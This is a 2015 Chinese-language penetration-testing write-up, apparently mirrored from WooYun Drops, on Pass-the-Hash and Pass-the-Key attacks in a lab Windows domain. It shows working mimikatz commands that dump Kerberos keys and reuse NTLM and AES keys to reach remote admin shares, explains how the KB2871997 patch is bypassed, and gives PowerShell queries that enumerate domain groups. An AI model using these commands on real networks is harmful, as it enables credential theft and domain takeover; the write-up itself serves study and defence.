作者:
三好學生
·
2015/12/28 10:15
0x00 前言
對於Pass The Hash大家應該都很熟悉,在2014年5月發生了一件有趣的事。
微軟在2014年5月13日釋出了針對Pass The Hash的更新補丁kb2871997,標題為“Update to fix the Pass-The-Hash Vulnerability”
而在一週後卻把標題改成了“Update to improve credentials protection and management”
下面就結合這中間發生的事情更進一步的研究域滲透。
0x01 簡介
在域滲透中,Hash和Key尤為重要,對其獲取和利用一直是攻防雙方最主要的關注點,所以本次就從hash 和key開始。
0x02 測試環境
域控:
#!bash
os:server 2008 r2 x64
ip:192.168.40.132
域內主機:
#!bash
os:win7 x64
ip:192.168.40.225
0x03 Pass The Hash
在上篇LAPS中提到,如果內網主機的本地管理員賬戶密碼相同,那麼可以透過pass the hash遠端登入到任意一臺主機,操作簡單、威力無窮。
在域環境中,利用pass the hash的滲透方式往往是這樣的:
- 獲得一臺域主機的許可權
- Dump記憶體獲得使用者hash
- 透過pass the hash嘗試登入其他主機
- 繼續蒐集hash並嘗試遠端登入
- 直到獲得域管理員賬戶hash,登入域控,最終成功控制整個域
下面簡要介紹一下Pass The Hash技術發展的幾段歷史
1、2012年12月
微軟釋出了針對Pass The Hash攻擊的防禦指導,連結如下:
http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf
如圖
文章提到了一些防禦方法,並在文章中說明了為什麼不針對Pass The Hash提供更新補丁。
所以那時候Pass The Hash成為了主流的域滲透方法。
2、2014年5月13日
微軟終於釋出了更新補丁kb2871997,禁止本地管理員賬戶用於遠端連線,這樣就無法以本地管理員使用者的許可權執行wmi、PSEXEC、schtasks、at和訪問檔案共享。
然而,Craig在測試中發現,在打了補丁之後,常規的Pass The Hash已經無法成功,唯獨預設的 Administrator (SID 500)賬號例外,利用這個賬號仍可以進行Pass The Hash遠端連線。
並且值得注意的是即使administrator改名,它的SID仍然是500,這種攻擊方法依然有效。所以對於防禦來說,即使打了補丁也要記得禁用SID=500的管理員賬戶。
相關連結如下:
http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html
3、如今
大家對Pass The Hash的認識越來越高,防禦方法越來越多,比如上一篇提到的LAPS解決了域內主機本地管理員密碼相同的問題。
同樣,禁用NTLM使得psexec無法利用獲得的ntlm hash進行遠端連線。
4、mimikatz出現
它的出現再次改變了格局。mimikatz實現了在禁用NTLM的環境下仍然可以遠端連線。
下面就實際測試一下其中的細節
0x04 Pass The Key
測試1:使用NTLM hash遠端連線
已知資訊:
#!bash
* Username : a
* Domain : TEST
* NTLM : efa85b42d77dc2fdbdbdb767792b0a11
遠端主機ip:192.168.40.132
如圖
在測試主機上:
以管理員許可權執行
#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"
彈出cmd
#!bash
dir \\192.168.40.132\c$
成功
如圖
注:
雖然"sekurlsa::pth"在mimikatz中被稱之為"Pass The Hash",但是其已經超越了以前的"Pass The Hash",部分人將其命名為"Overpass-the-hash",也就是"Pass-the-key"
測試2:使用aes key遠端連線
已知資訊:
#!bash
* Username : a
* Domain : TEST.LOCAL
* Key List :
aes256_hmac f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c
aes128_hmac 8cce86e4b0630f07fcf5f2110068c421
rc4_hmac_nt efa85b42d77dc2fdbdbdb767792b0a11
rc4_hmac_old efa85b42d77dc2fdbdbdb767792b0a11
rc4_md4 efa85b42d77dc2fdbdbdb767792b0a11
rc4_hmac_nt_exp efa85b42d77dc2fdbdbdb767792b0a11
rc4_hmac_old_exp efa85b42d77dc2fdbdbdb767792b0a11
注:
獲取aes key 的mimikatz命令為:
mimikatz "privilege::debug" "sekurlsa::ekeys"
如圖
Tips:
通常情況下無法對mimikatz輸出回顯的內容進行復制,一種好的方法是使用日誌記錄功能將回顯內容輸出到檔案中,開啟日誌記錄功能後會把輸出回顯的內容儲存在同級目錄下的mimikatz.log中,命令參考如下:
mimikatz log privilege::debug sekurlsa::ekeys
如果透過右鍵-編輯-標記的方式複製資料,當前視窗會崩潰,如圖:
在測試主機上:
以管理員許可權執行
#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c"
發現無法匯入aes256
如圖
無法遠端連線,如圖
檢視mimikatz的相關資料發現如下資訊:
ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.
根據提示,嘗試在系統安裝補丁kb2871997後繼續測試
測試3:使用aes key遠端連線(kb2871997 Installed)
已知資訊:
#!bash
* Username : a
* Domain : TEST.LOCAL
* Key List :
aes256_hmac f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c
aes128_hmac 8cce86e4b0630f07fcf5f2110068c421
rc4_hmac_nt efa85b42d77dc2fdbdbdb767792b0a11
rc4_hmac_old efa85b42d77dc2fdbdbdb767792b0a11
rc4_md4 efa85b42d77dc2fdbdbdb767792b0a11
rc4_hmac_nt_exp efa85b42d77dc2fdbdbdb767792b0a11
rc4_hmac_old_exp efa85b42d77dc2fdbdbdb767792b0a11
測試主機:
安裝kb2871997補丁
如圖
在測試主機上:
以管理員許可權執行
#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c"
可以成功匯入aes256
如圖
遠端連線
#!bash
dir \\WIN-8VVLRPIAJB0\c$
成功
如圖
注:
dir要使用主機名 而不是ip,不然會提示使用者名稱或密碼錯誤
換用aes128測試:
#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes128:8cce86e4b0630f07fcf5f2110068c421"
如圖
成功
注:
如果不更換密碼,aes key可以一直被用來遠端連線。
0x05 補充
如果域控許可權分配不嚴格,我們在域普通使用者主機下透過wmi查詢可以查到當前域內的使用者組
1、檢視Administrators組
powershell執行
#!bash
$members = @($([ADSI]”WinNT://TEST/Administrators”).psbase.Invoke(“Members”))
$members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }
如圖
2、檢視Domain Users組
#!bash
$members = @($([ADSI]”WinNT://TEST/Domain Users”).psbase.Invoke(“Members”))
$members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }
如圖
0x06 小結
做任何事情都一樣,細節往往決定成敗,只有在深入瞭解後我才發現aes key和kb2871997之間的關係,才解鎖了遠端連線的新方法。
0x07 參考連結:
本文由三好學生原創並首發於烏雲drops,轉載請註明
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!